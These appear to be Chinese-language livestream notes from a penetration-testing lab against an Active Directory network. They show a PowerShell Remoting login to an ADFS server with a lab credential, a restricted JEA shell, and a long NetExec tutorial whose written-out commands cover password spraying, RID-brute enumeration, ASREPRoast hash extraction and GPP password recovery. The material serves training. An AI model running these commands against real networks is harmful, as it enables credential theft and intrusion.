📚 目录导航(20241126)
1. 开篇与回顾 (PS Remoting 难题)
2. 渗透测试环境与最佳实践
3. 在 Parrot OS 中成功执行 PS Remoting
4. ADFS 作为高价值目标
5. NetExec (nxc) 高级用法详解 (续)
1. 开篇与回顾 (PS Remoting 难题)
1.1 本周目标:解决登录,绕过 JEA
本次直播(周二)的目标是解决之前遇到的 PS Remoting 登录 ADFS 服务器 (192.168.20.15) 的问题,并着手绕过其上的 JEA (Just Enough Administration) 受限 Shell,最终获得对该服务器的完全控制权。虽然之前已通过 nxc winrm 验证凭据 (adfs_svc:S3cur!ty) 有效且能 Pwn3d 该机器,但实际通过 evil-winrm 或 Enter-PSSession (从 Kali) 登录时遇到了阻碍。
1.2 Kali 中 PS Remoting 跨平台问题现状
问题持续: 再次确认,从当前的 Kali Linux 环境使用
pwsh执行Enter-PSSession连接 Windows 目标依然失败。这不是凭据或权限问题,而是 Kali 环境下pwsh跨平台组件(WS-Man 模块,gss-ntlmssp交互等)与目标系统之间持续存在的兼容性 Bug。根本原因: 推测与 Kali 近期底层架构的大量变动有关,导致与微软的跨平台组件(WS-Man 模块等)兼容性出现问题。虽然理论上
pwsh和相关模块(如PSWSMan,gss-ntlmssp)的版本与 Parrot OS 中成功运行的版本相似,但 Kali 的特定环境导致连接失败。强调: 这个问题是环境问题,而非技术原理或操作错误。
2. 渗透测试环境与最佳实践
2.1 多环境准备的重要性 (应对工具/环境问题)
核心理念: 在实战(比赛、SRC、真实对抗)中,效率和稳定性至关重要。当在一个环境中遇到难以解决的工具或环境本身的问题时,最快、最可靠的策略往往是迅速切换到备用环境,而不是花费大量时间进行可能无果的深度调试。
必要储备:
Linux 环境: 主力环境(如 Kali)应有干净的快照或镜像,便于快速回滚或重建。同时准备一个备选的 Linux 发行版(如 Parrot OS)是有益的。
Windows 环境: 必须准备至少一个配置好常用渗透工具的 Windows 虚拟机。
2.2 快速切换策略 vs 深入调试
权衡: 虽然深入调试有助于理解技术底层,但在时间压力下,快速切换环境以恢复攻击流程通常是更优选择。
判断力: 培养在哪个节点判断出“这是环境/工具问题,我解决不了,需要切换”的能力,是重要的实战素养。避免因“较劲”或“惰性”而延误战机。
最佳实践: 保持渗透环境尽可能“干净”,少做不必要的定制,以便于问题排查和环境迁移。
2.3 推荐的 Windows 渗透环境
如果需要在 Windows 环境下操作:
Commando VM (by Mandiant/FireEye):
特点: 使用 PowerShell 脚本自动化安装和配置大量常用渗透测试工具(包括 Sysinternals, Impacket 相关工具, PowerSploit 等)。由知名安全公司维护,在国外安全社区较为流行。
安装: 下载脚本,在干净的 Windows VM 上运行即可。
Pentest-Windows:
特点: 国内开发者维护的 Windows 渗透测试套件,预装了许多工具,界面可能更符合国内用户习惯。包含图形化工具(如 GOBE MSF, 图形化 Nmap)、WSL Kali、常用 C2 框架(如 Empire, Cobalt Strike)等。
获取: 通常以虚拟机镜像形式提供。
2.4 推荐的 Linux 渗透环境 (Parrot OS)
Parrot Security OS: 基于 Debian 的 Linux 发行版,专注于安全测试和数字取证。是 Kali Linux 的一个有力替代品。本次演示成功在该系统上运行 PS Remoting。
获取: 可从官网下载适用于 VirtualBox 或 VMWare 的虚拟机镜像。
2.5 避免中文操作系统 (OpSec 考量)
建议: 无论是 Windows 还是 Linux 渗透环境,都强烈建议使用英文版操作系统。
原因:
OpSec (操作安全): 中文环境在某些情况下可能在网络流量、日志、错误信息、工具输出中无意间泄露与中文相关的特定字符或编码信息,增加被溯源或识别的风险。
兼容性: 某些工具或脚本可能在非英文环境下存在兼容性问题或乱码。
国际标准: 学习和使用英文环境有助于更好地理解和运用国际主流的安全工具和技术文档。
3. 在 Parrot OS 中成功执行 PS Remoting
本次直播演示了在 Parrot OS 环境下成功通过 PS Remoting 连接目标 ADFS 服务器 (192.168.20.15)。
3.1 环境准备 (SSH Tunnel, pwsh, gss-ntlmssp, WSMan 模块)
确保满足以下条件:
网络连通性: 通过
sshuttle或 SSH 端口转发确保能从 Parrot OS 访问目标内网 (192.168.20.0/24)。# 示例 sshuttle 命令 (需根据实际情况调整密钥和目标地址) sshuttle -vv -r sshuser@10.10.110.74 192.168.20.0/24 192.168.21.0/24 -e 'ssh -i /home/tess/Desktop/APTLabs/credentials/nextcloud.key'或者使用 SSH 端口转发特定端口(如 5985)。
安装
pwsh:sudo apt update sudo apt install -y wget apt-transport-https software-properties-common wget -q "https://packages.microsoft.com/config/debian/$(lsb_release -rs)/packages-microsoft-prod.deb" sudo dpkg -i packages-microsoft-prod.deb sudo apt update sudo apt install -y powershell安装
gss-ntlmssp: (Parrot OS 可能需要手动安装,Kali 通常自带)sudo apt install gss-ntlmssp安装 WS-Man 模块: (在
pwsh中执行)Install-Module -Name PSWSMan -Force -Scope CurrentUser Install-WSMan -Force
查看安装结果┌─[✗]─[tess@parrot]─[~/Desktop/APTLabs] └──╼ $sudo pwsh PowerShell 7.5.1 Welcome to Parrot OS ┌[parrot@tess]-[02:15-13/05]-[/home/tess/Desktop/APTLabs] └╼$ Install-Module -Name PSWSMan -Force -Scope Current ┌[parrot@tess]-[02:16-13/05]-[/home/tess/Desktop/APTLabs] └╼$ Get-Module -list Directory: /home/tess/.local/share/powershell/Modules ModuleType Version PreRelease Name PSEdition ExportedCommands ---------- ------- ---------- ---- --------- ---------------- Manifest 2.3.1 PSWSMan Core {Disable-WSManCertVerification, Enable- WSManCertVerification, Get-WSManVe… Directory: /opt/microsoft/powershell/7/Modules ModuleType Version PreRelease Name PSEdition ExportedCommands ---------- ------- ---------- ---- --------- ---------------- Manifest 1.2.5 Microsoft.PowerShell.Archive Desk {Compress-Archive, Expand-Archive} Manifest 7.0.0.0 Microsoft.PowerShell.Host Core {Start-Transcript, Stop-Transcript} Manifest 7.0.0.0 Microsoft.PowerShell.Management Core {Add-Content, Clear-Content, Clear-ItemProperty, Join-Path…} Binary 1.1.1 Microsoft.PowerShell.PSResourceGet Core,Desk {Compress-PSResource, Find-PSResource, Get-InstalledPSResource, Get-PSRes… Manifest 7.0.0.0 Microsoft.PowerShell.Security Core {Get-Credential, Get-ExecutionPolicy, Set-ExecutionPolicy, ConvertFrom-Se… Manifest 7.0.0.0 Microsoft.PowerShell.Utility Core {Export-Alias, Get-Alias, Import-Alias, New-Alias…} Script 1.4.8.1 PackageManagement Desk {Find-Package, Get-Package, Get-PackageProvider, Get-PackageSource…} Script 2.2.5 PowerShellGet Desk {Find-Command, Find-DSCResource, Find-Module, Find-RoleCapability…} Script 2.3.6 PSReadLine Desk {Get-PSReadLineKeyHandler, Set-PSReadLineKeyHandler, Remove-PSReadLineKey… Binary 2.0.3 ThreadJob Desk Start-ThreadJob时间同步: (重要,避免 Kerberos 时钟偏差错误)
sudo ntpdate <域控IP或主机名> sudo net time set -S dc.0x0security.local
3.2 执行 Enter-PSSession 连接 ADFS 服务器 (192.168.20.15)
在
pwsh中执行连接命令:Enter-PSSession -ComputerName 192.168.20.15 -Credential 0x0security\adfs_svc -Authentication Negotiate -Verbose # 按提示输入密码: S3cur!ty
-ComputerName: 目标主机 IP 或 FQDN。-Credential: 指定域和用户名。-Authentication Negotiate: 优先尝试 Kerberos,失败则尝试 NTLM。-Verbose: 显示详细连接过程信息。结果: 在 Parrot OS 环境下,此命令成功建立连接,进入远程会话。
┌─[tess@parrot]─[~/Desktop/APTLabs] └──╼ $pwsh PowerShell 7.5.1 Welcome to Parrot OS ┌[parrot@tess]-[20:51-13/05]-[/home/tess/Desktop/APTLabs] └╼$ Enter-PSSession -ComputerName 192.168.20.15 -Credential 0x0security\adfs_svc -Authentication Negotiate -Verbose -debug PowerShell credential request Enter your credentials. Password for user 0x0security\adfs_svc: ******** [192.168.20.15]: PS> [192.168.20.15]: PS>whoami 0x0security\adfs_svc [192.168.20.15]: PS>
3.3 确认获得受限 JEA Shell
连接成功后,尝试执行标准命令:
[192.168.20.15]: PS>whoami 0x0security\adfs_svc systeminfo # 通常失败 [192.168.20.15]: PS>systeminfo The term 'systeminfo.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the sp elling of the name, or if a path was included, verify that the path is correct and try again. + CategoryInfo : ObjectNotFound: (systeminfo.exe:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException [192.168.20.15]: PS> Get-Command # 查看允许的命令 [192.168.20.15]: PS>get-command CommandType Name Version Source ----------- ---- ------- ------ Function Clear-Host Function Exit-PSSession Function Get-AsciiArt Function get-childitem Function Get-Command Function Get-FormatData Function Get-Help Function Get-NetIPAddress 1.0.0.0 NetTCPIP Function Get-ProcessID Function Get-ProcessName Function Invoke-CommandCMD Function Measure-Object Function Out-Default Function Select-Object Cmdlet Get-Member 3.0.0.0 Microsoft.PowerShell.Utility Cmdlet Select-Object 3.0.0.0 Microsoft.PowerShell.Utility [192.168.20.15]: PS> get-command获取到的可用的命令真的太少了,正常的机器应该有好几百条可用命令,所以他是一共被 JEA 策略严格限制的机器。 hostname # 通常失败 ipconfig # 通常失败现象: 只有极少数基础命令(如
whoami,pwd,Get-Command,exit等)可以执行,其他常用命令均提示无法识别。结论: 这确认了我们获得的是一个 JEA 受限 Shell。虽然拥有高权限凭据 (
adfs_svc可能具有较高权限),但能执行的操作被 JEA 策略严格限制。
4. ADFS 作为高价值目标
4.1 ADFS 的重要性 (联合认证, 单点登录)
识别目标: 已确认
192.168.20.15是 ADFS (Active Directory Federation Services) 服务器。核心价值: ADFS 服务器在域环境中扮演着身份联合和单点登录 (SSO) 的关键角色。它存储和管理用于访问内部及外部(云)应用服务的凭据和令牌。
攻击意义: 成功攻陷 ADFS 服务器通常意味着可以:
窃取敏感的令牌签名证书或密钥。
伪造身份验证令牌 (如 SAML 断言)。
冒充域内任何用户访问集成了 ADFS 的各种应用(包括 Office 365 等云服务)。
获取高权限账户凭据(ADFS 服务账户通常权限很高)。
作为进一步横向移动和权限提升的关键跳板。
优先级: ADFS 服务器是域渗透中的高优先级目标。
4.2 后续攻击重点
当前障碍: JEA 受限 Shell。
下一步: 必须先绕过 JEA,获得在 ADFS 服务器上不受限制的命令执行能力。
再下一步: 执行 ADFS 特定的攻击技术(如导出证书、Golden SAML 攻击等)。这是下下周的重点内容。
5. NetExec (nxc) 高级用法详解 (续)
本次直播继续深入讲解 NetExec (nxc) 工具。
5.1 工具定位与哲学回顾 (vs CME, Impacket)
重申
nxc是crackmapexec(CME) 的活跃分支,两者核心功能相似,但nxc更新更积极。强调
nxc和Impacket作为优秀渗透工具的特点:基于协议、命令行驱动、参数灵活、透明度高,允许使用者精确控制攻击流程,而非高度集成的“黑盒”工具。学习
nxc/Impacket有助于深入理解底层协议和攻击原理。
5.2 核心功能场景回顾 (凭据验证, 信息收集, 命令执行)
回顾 nxc 主要解决的三大场景:
大规模凭据验证: 快速测试少量凭据在大量目标上的有效性(密码喷洒)。
多凭据快速测试: 快速验证手头多组凭据对特定目标的有效性。
批量信息收集/后渗透: 获取凭据后,批量执行枚举(用户、组、共享、SAM/LSA/NTDS dump)、命令执行等。
5.3 目标指定方式详解
nxc 支持多种灵活的目标指定方式:
单个 IP:
192.168.1.10多个 IP (空格分隔):
192.168.1.10 192.168.1.11IP 范围:
192.168.1.1-192.168.1.254CIDR 网段:
192.168.1.0/24主机名:
DC01(需本地能解析)FQDN:
dc01.contoso.local文件列表:
targets.txt(每行一个目标)Nmap XML 输出:
nmap_scan.xmlNessus 文件:
nessus_scan.nessus
5.4 支持的协议概览
nxc 通过子命令支持多种协议,覆盖内网常见服务:
Available Protocols:
{vnc,rdp,mssql,wmi,nfs,ssh,winrm,ftp,ldap,smb}
vnc own stuff using VNC
rdp own stuff using RDP
mssql own stuff using MSSQL
wmi own stuff using WMI
nfs own stuff using NFS
ssh own stuff using SSH
winrm own stuff using WINRM
ftp own stuff using FTP
ldap own stuff using LDAP
smb own stuff using SMB
smb(445)winrm(5985/5986)mssql(1433)ldap(389/636)ssh(22)rdp(3389)ftp(21)vnc(5900)nfs(2049)wmi(135 + 动态端口)
5.5 SMB 协议深入应用
以 nxc smb 为例,讲解常用选项和场景:
5.5.1 基础侦察 (主机信息, 域信息, SMB签名/版本)
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nxc smb -h
usage: nxc smb [-h] [--version] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--verbose] [--debug] [--no-progress] [--log LOG]
[-6] [--dns-server DNS_SERVER] [--dns-tcp] [--dns-timeout DNS_TIMEOUT] [-u USERNAME [USERNAME ...]]
[-p PASSWORD [PASSWORD ...]] [-id CRED_ID [CRED_ID ...]] [--ignore-pw-decoding] [--no-bruteforce] [--continue-on-success]
[--gfail-limit LIMIT] [--ufail-limit LIMIT] [--fail-limit LIMIT] [-k] [--use-kcache] [--aesKey AESKEY [AESKEY ...]]
[--kdcHost KDCHOST] [--server {https,http}] [--server-host HOST] [--server-port PORT] [--connectback-host CHOST]
[-M MODULE] [-o MODULE_OPTION [MODULE_OPTION ...]] [-L] [--options] [-H HASH [HASH ...]] [--delegate DELEGATE] [--self]
[-d DOMAIN | --local-auth] [--port PORT] [--share SHARE] [--smb-server-port SMB_SERVER_PORT]
[--gen-relay-list OUTPUT_FILE] [--smb-timeout SMB_TIMEOUT] [--laps [LAPS]] [--sam] [--lsa] [--ntds [{vss,drsuapi}]]
[--dpapi [{nosystem,cookies} ...]] [--sccm [{disk,wmi}]] [--mkfile MKFILE] [--pvk PVK] [--enabled] [--user USERNTDS]
[--shares] [--interfaces] [--no-write-check] [--filter-shares FILTER_SHARES [FILTER_SHARES ...]] [--sessions] [--disks]
[--loggedon-users-filter LOGGEDON_USERS_FILTER] [--loggedon-users] [--users [USER ...]] [--groups [GROUP]]
[--computers [COMPUTER]] [--local-groups [GROUP]] [--pass-pol] [--rid-brute [MAX_RID]] [--wmi QUERY]
[--wmi-namespace NAMESPACE] [--spider SHARE] [--spider-folder FOLDER] [--content] [--exclude-dirs DIR_LIST]
[--depth DEPTH] [--only-files] [--pattern PATTERN [PATTERN ...] | --regex REGEX [REGEX ...]] [--put-file FILE FILE]
[--get-file FILE FILE] [--append-host] [--exec-method {mmcexec,wmiexec,smbexec,atexec}] [--dcom-timeout DCOM_TIMEOUT]
[--get-output-tries GET_OUTPUT_TRIES] [--codec CODEC] [--no-output] [-x COMMAND | -X PS_COMMAND] [--obfs]
[--amsi-bypass FILE] [--clear-obfscripts] [--force-ps32] [--no-encode]
target [target ...]无需凭据即可获取目标主机名、操作系统版本、所属域名、SMB 签名状态 (
signing: True/False)、SMBv1 状态等。
5.5.2 生成 SMB 中继列表 (--gen-relay-list)
sudo nxc smb <target(s)> --gen-relay-list relay_targets.txt查找并输出所有 SMB 签名被禁用 (
signing: False) 的主机列表到指定文件。这些主机是 SMB Relay 攻击的潜在目标。
5.5.3 NULL/匿名会话枚举 (-u '' -p '')
如果目标允许 NULL 会话或匿名登录 (Guest),可以尝试在不提供有效凭据的情况下枚举信息:
sudo nxc smb <target> -u '' -p '' --shares # 枚举共享
sudo nxc smb <target> -u '' -p '' --pass-pol # 枚举密码策略
sudo nxc smb <target> -u '' -p '' --users # 枚举用户 (可能受限)
sudo nxc smb <target> -u '' -p '' --rid-brute # 通过 RID 枚举用户和组注意: NULL 会话能获取的信息取决于目标配置,不一定总能成功。
5.5.4 密码策略枚举 (--pass-pol) 与利用
sudo nxc smb <target> -u <user> -p <pass> --pass-pol
# 或者匿名尝试
sudo nxc smb <target> -u '' -p '' --pass-pol获取域密码策略信息,如最小密码长度、复杂度要求、历史记录长度、锁定阈值、锁定时间等。
价值: 指导密码喷洒策略,避免账户锁定。
5.5.5 用户枚举 (--users, --rid-brute)
# 使用有效凭据枚举所有域用户
sudo nxc smb <DC_IP> -u <user> -p <pass> --users
# 通过 RID 爆破枚举用户和组 (匿名或认证均可尝试)
# 默认爆破到 RID 4000,可用 --rid-brute <MAX_RID> 指定上限
sudo nxc smb <DC_IP> -u <user> -p <pass> --rid-brute
sudo nxc smb <DC_IP> -u '' -p '' --rid-brute 50005.5.6 共享枚举 (--shares)
sudo nxc smb <target> -u <user> -p <pass> --shares列出目标机器上的共享文件夹及其访问权限 (READ, WRITE)。
5.5.7 密码喷洒技巧 (多用户/密码组合, --continue-on-success, --no-bruteforce)
# 单密码喷洒用户列表文件
sudo nxc smb <target> -u users.txt -p 'Password123!'
# 多密码喷洒单个用户
sudo nxc smb <target> -u administrator -p pass1 pass2 pass3
# 用户列表文件 vs 密码列表文件
sudo nxc smb <target> -u users.txt -p passwords.txt
# 找到一个有效凭据后继续尝试其他组合
sudo nxc smb <target> -u users.txt -p passwords.txt --continue-on-success
# 一对一验证 (user1:pass1, user2:pass2, ...)
# 适用于已知凭据对的情况,避免组合爆炸
sudo nxc smb <target> -u user_list.txt -p pass_list.txt --no-bruteforce5.5.8 本地账户认证 (--local-auth)
sudo nxc smb <target> -u administrator -p 'Password!' --local-auth当需要验证目标机器的本地账户而非域账户时,使用此选项。对域控制器无效。
5.5.9 账户状态识别 (锁定次数, 密码过期/必须修改)
nxc在进行认证尝试时,输出中可能会包含badpwdcount(错误密码尝试次数) 和特殊的认证状态信息,如:STATUS_PASSWORD_MUST_CHANGE: 提示用户下次登录必须修改密码。STATUS_ACCOUNT_LOCKED_OUT: 账户已被锁定。STATUS_ACCOUNT_DISABLED: 账户已被禁用。STATUS_PASSWORD_EXPIRED: 密码已过期。
价值: 这些信息对于理解账户状态、避免触发锁定、寻找利用机会(如强制改密)至关重要。
5.5.10 使用 smbpasswd 修改密码
当遇到
STATUS_PASSWORD_MUST_CHANGE时,如果权限足够,可以使用 Linux 下的smbpasswd工具远程修改该用户的密码:smbpasswd -r <target_IP> -U <username> # 按提示输入旧密码和新密码修改成功后,再用新密码通过
nxc验证。
5.6 WinRM 协议应用 (nxc winrm)
sudo nxc winrm <target> -u <user> -p <pass>
# 或使用域账户
sudo nxc winrm <target> -d <domain> -u <user> -p <pass>
# 或使用哈希
sudo nxc winrm <target> -u <user> -H <ntlm_hash>验证凭据是否能通过 WinRM (5985/5986) 登录。
输出
(Pwn3d!)表示具有高权限(通常是本地管理员)。可配合
-x <cmd>或-X <ps_command>执行命令。
5.7 LDAP 协议应用 (nxc ldap)
5.7.1 FQDN 的必要性
执行 LDAP 查询或认证时,目标必须使用 FQDN (如
dc01.contoso.local) 而非 IP 地址,否则会报错。需要在攻击机的/etc/hosts文件中添加相应解析。
5.7.2 ASREPRoasting 检测 (--asreproast)
# 尝试对 users.txt 中的用户进行 ASREPRoasting (无需密码)
sudo nxc ldap <DC_FQDN> -u users.txt --asreproast asreproast_hashes.txt
# 使用已知凭据枚举域中所有可 ASREPRoast 的用户
sudo nxc ldap <DC_FQDN> -u <user> -p <pass> --asreproast asreproast_hashes.txt查找设置了
DONT_REQ_PREAUTH的用户,并导出其 AS-REP 哈希(Mode 18200)到文件,用于离线破解。
5.8 MSSQL 协议应用 (nxc mssql)
5.8.1 区分认证模式 (Windows AD vs Windows Local vs SQL Server)
MSSQL 支持多种认证方式,nxc 需要相应参数来指定:
Windows AD 认证: (默认) 提供域用户凭据。
sudo nxc mssql <target> -d <domain> -u <user> -p <pass>Windows 本地认证: 使用目标机器本地账户。
sudo nxc mssql <target> -d . -u <local_user> -p <pass> # 或 sudo nxc mssql <target> -d <target_hostname> -u <local_user> -p <pass>SQL Server 认证: 使用数据库自身的用户账户。
sudo nxc mssql <target> -u <sql_user> -p <pass> --local-auth
5.8.2 使用 -d . 指定本地 Windows 认证
当目标 MSSQL 配置为允许 Windows 认证,且你想尝试机器的本地账户时,用
-d .。
5.8.3 使用 --local-auth 指定 SQL Server 认证
当目标 MSSQL 配置为允许 SQL Server 认证(或混合模式),且你想尝试数据库内置账户时,用
--local-auth。
5.9 模块 (-M) 使用详解
nxc 支持通过 -M 加载模块来执行特定任务。
5.9.1 列出模块 (-L)
sudo nxc <protocol> -L
# 例如: sudo nxc smb -L
列出指定协议下可用的所有模块,区分低权限和高权限模块。
5.9.2 查看模块选项 (--options)
sudo nxc <protocol> -M <module_name> --options
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nxc smb -M printerbug --options
[*] printerbug module options:
LISTENER Listener Address (defaults to 127.0.0.1)
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nxc ldap -M user-desc --options
[*] user-desc module options:
LDAP_FILTER Custom LDAP search filter (fully replaces the default search)
DESC_FILTER An additional search filter for descriptions (supports wildcard *)
DESC_INVERT An additional search filter for descriptions (shows non matching)
USER_FILTER An additional search filter for usernames (supports wildcard *)
USER_INVERT An additional search filter for usernames (shows non matching)
KEYWORDS Use a custom set of keywords (comma separated)
ADD_KEYWORDS Add additional keywords to the default set (comma separated)
# 这些代码都可以查看
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# locate user_descri
/usr/lib/python3/dist-packages/cme/modules/user_description.py
/usr/lib/python3/dist-packages/cme/modules/__pycache__/user_description.cpython-312.pyc
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# cat /usr/lib/python3/dist-packages/cme/modules/user_description.py | grep -i keywords
KEYWORDS Use a custom set of keywords (comma separated)
ADD_KEYWORDS Add additional keywords to the default set (comma separated)
self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'}
if 'KEYWORDS' in module_options:
self.keywords = set(module_options['KEYWORDS'].split(','))
elif 'ADD_KEYWORDS' in module_options:
add_keywords = set(module_options['ADD_KEYWORDS'].split(','))
self.keywords = self.keywords.union(add_keywords)
written to the log file per default. Items that contain one of the keywords configured
Check for interesting entries. Just checks whether certain keywords are contained within the
user description. Keywords are configured at the top of this class within the options function.
for keyword in self.keywords:显示特定模块可接受的参数及其说明。
5.9.3 GPP 密码获取 (gpp_password, gpp_autologin)
这两个是 SMB 协议下的常用模块,用于从 SYSVOL 中存储的组策略偏好设置 XML 文件里提取明文密码或自动登录凭据。
sudo nxc smb <DC_IP> -u <user> -p <pass> -M gpp_password
sudo nxc smb <DC_IP> -u <user> -p <pass> -M gpp_autologin5.9.4 用户描述搜索 (user-desc)
这是 LDAP 协议下的模块,用于读取用户的 description 属性,有时管理员会在此处存储密码提示甚至明文密码。
# 使用默认关键字搜索
sudo nxc ldap <DC_FQDN> -u <user> -p <pass> -M user-desc
# 使用自定义关键字搜索 (替换默认值)
sudo nxc ldap <DC_FQDN> -u <user> -p <pass> -M user-desc -o KEYWORDS=pwd,admin
# 添加自定义关键字 (在默认值基础上)
sudo nxc ldap <DC_FQDN> -u <user> -p <pass> -M user-desc -o ADD_KEYWORDS=secret,backup价值: 在大规模用户环境中,检查用户描述是一种重要的信息收集手段。
-.-
评论区